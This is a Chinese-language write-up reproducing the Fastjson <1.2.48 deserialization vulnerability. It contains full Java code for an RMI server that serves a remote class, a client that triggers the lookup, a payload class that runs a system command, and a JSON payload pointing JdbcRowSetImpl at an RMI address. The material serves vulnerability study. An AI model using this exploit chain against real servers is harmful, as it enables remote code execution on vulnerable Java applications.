Fastjson<1.2.48反序列化漏洞复现
JdbcRowSetImpl类简单使用
Jndi 全称是:Java Naming and Directory Interface,叫做Java命名和目录接口、SUN公司提供的一种标准的Java命名系统接口,JNDI提供统一的客户端API,通过不同的访问提供者接口JNDI服务供应接口(SPI)的实现,由管理者将JNDI API映射为特定的命名服务和目录系统,使得Java应用程序可以和这些命名服务和目录服务之间进行交互。
rmi服务器简单使用示例,由RMIServer,RMIClient,字节码文件三部分组成:
RMIServer.java
package fxlh.rmi;
import com.sun.jndi.rmi.registry.ReferenceWrapper;
import javax.naming.Reference;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
/**
* @Author: white_xiaosheng
* @Description: 该类是一个rmi服务端
* @CreateTime: 2021/1/24 9:33 下午
* @Version 1.0
*/
public class RMIServer {
public static void main(String argv[]) {
try {
Registry registry = LocateRegistry.createRegistry(1090);
/**
* reference的三个参数
* classname : 代码执行类的名称
* factory : 代码执行类的全限定名称
* factoryLocation : factoryLocation : 代码执行class类的服务器地址
*/
Reference reference = new Reference("NameKnow",
"NameKnow",
"http://localhost:7001/NameKnow.class" );
registry.bind("name", new ReferenceWrapper(reference));
System.out.println("Ready!");
System.out.println("Waiting for connection......");
} catch (Exception e) {
System.out.println("RMIServer: " + e.getMessage());
e.printStackTrace();
}
}
}
RMIClient.java
package fxlh.rmi;
import com.sun.rowset.JdbcRowSetImpl;
import javax.naming.InitialContext;
import javax.naming.NamingException;
import java.sql.SQLException;
/**
* @Author: white_xiaosheng
* @Description: 该类是一个rmi客户端
* @CreateTime: 2021/1/24 10:34 下午
* @Version 1.0
*/
public class RMIClient {
/**
* 高版本jdk中存在com.sun.jndi.rmi.object.trustURLCodebase限制
* 解决办法:
* idea中需配置-Dcom.sun.jndi.rmi.object.trustURLCodebase=true
*/
public static void main(String[] args) throws NamingException, SQLException {
// 底层实现方法
// new InitialContext().lookup("rmi://127.0.0.1:1090/name");
// JdbcRowSetImpl使用代码逻辑实现
JdbcRowSetImpl jdbcRowSet = new JdbcRowSetImpl();
jdbcRowSet.setDataSourceName("rmi://127.0.0.1:1090/name");
jdbcRowSet.setAutoCommit(true);
jdbcRowSet.execute();
}
}
Nameknow.java
/**
* @Author: white_xiaosheng
* @Description: 该类是一个命令执行类
* @CreateTime: 2021/1/24 10:14 下午
* @Version 1.0
*/
import java.io.*;
public class NameKnow {
public NameKnow() throws Exception {
final Process process = Runtime.getRuntime().exec("whoami");
int value = process.waitFor();
if(value == 0) {
System.out.println("command exec success");
Reader reader = new InputStreamReader(process.getInputStream());
BufferedReader bf = new BufferedReader(reader);
String line = null;
while ((line = bf.readLine()) != null) {
System.out.println(line);
}
}else{
System.out.println("command exec fail");
}
}
public static void main(String[] args) throws Exception {
NameKnow exploit = new NameKnow();
}
}
测试结果:
漏洞描述
Fastjson是阿里巴巴公司开源的一款json解析器,其性能优越,被广泛应用于各大厂商的Java项目中。fastjson于1.2.24版本后增加了反序列化白名单,而在1.2.48以前的版本中,攻击者可以利用特殊构造的json字符串绕过白名单检测,成功执行任意命令。
受影响的版本
Fastjson <1.2.48
复现环境
fastjson1.2.47+jdk1.8_102
漏洞复现
杀伤链分析
可控参数传递到后端->经过json转对象类构造出一个class类->经过Method.invoke实现setter方法加载类字段属性->setAutoCommit实现中存在jndi接口->代码执行
断点设置
com/alibaba/fastjson/JSON.java
Object value = parser.parse();
com/alibaba/fastjson/parser/DefaultJSONParser.java
obj = this.parseObject((Map)input, key);
Class<?> clazz = config.checkAutoType(typeName, null);
- 3
return deserializer.deserialze(this, clazz, fieldName);
com/alibaba/fastjson/parser/ParserConfig.java
Class<?> clazz = TypeUtils.getClassFromMapping(typeName);
com/alibaba/fastjson/serializer/MiscCodec.java
strVal = (String) objVal;
return (T) TypeUtils.loadClass(strVal, parser.getConfig().getDefaultClassLoader());
com/alibaba/fastjson/parser/deserializer/DefaultFieldDeserializer.java
value = fieldValueDeserilizer.deserialze(parser, fieldType, fieldInfo.name);
setValue(object, value);
com/alibaba/fastjson/parser/deserializer/FieldDeserializer.java
method.invoke(object, value);
代码分析
构造poc进行测试,跟踪数据流
进入下一个断点这里进入DefaultJSONParser解析器
跟踪进parser.parse()函数进入到parserObject函数
进入parserObject函数,首先会执行checkAutoType方法,检查type参数的类型
进入checkAutoType方法,首先先去mappings中查询type,查询不到则和buckets数组的数据进行对比,如果名单存在该type字符串则返回其的class类,否则报错
根据clazz构造出一个序列化解析器解析前台传递过来的json数据
DefaultJSONParser解析器的parseObject这个方法很重要,可以json数据的解析为对象
loadClass这里是绕过逻辑,当第一个json转换的类是Class.class类型时,会根据其val值生成jdbcRowSetImpl类
跟入loadClass方法可以看到jdbcRowSetImpl类是从mappings数组中取出来的
第二次进入checkAutoType方法时可以看到jdbcRowSetImpl检测通过了,mappings中有了jdbcRowSetImpl类
解析器通过json数组的key获取其value值,dataSourceName的value值是rmi://127.0.0.1:9000/Exploit
继续追踪断点,可以看到setValue方法,这个方法是要把value值赋予object类,即dataSourceName值装载进j dbcRowSetImpl类中
进入到setValue方法中,可以查到装载实现是通过method.invoke实现的(即通过反射调用该类的setter方法进行装载数据)
继续跟踪断点,这里是第二次执行到setValue方法,设置autoCommit的值进jdbcRowSetImpl类中
跟进反射调用的setter方法(jdbcRowSetImpl类在jdk中,可以打断点也也可以一步步跟入),这里是设置autoCommit,即进入setAutoCommit方法,该方法在执行下一个setAutoCommit方法前会先调用this.connect()方法
跟入this.connect的方法,可以看到有lookup方法的调用,lookup方法的参数也是一个rmi调用实现,lookup方法的调用就是jndi的调用远程接口的特征,该方法为什么可以触发代码执行可自行尝试jndi的代码实现(参考JdbcRowSetImpl类简单使用)
注意点: ``` { “b”:{
} }"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://192.168.0.109:9000/Exploit",
"autoCommit":true
``` 根据1.2.47实际测试结果表明com.sun.rowset.JdbcRowSetImpl并未设置为黑名单,可通过原有payload攻击。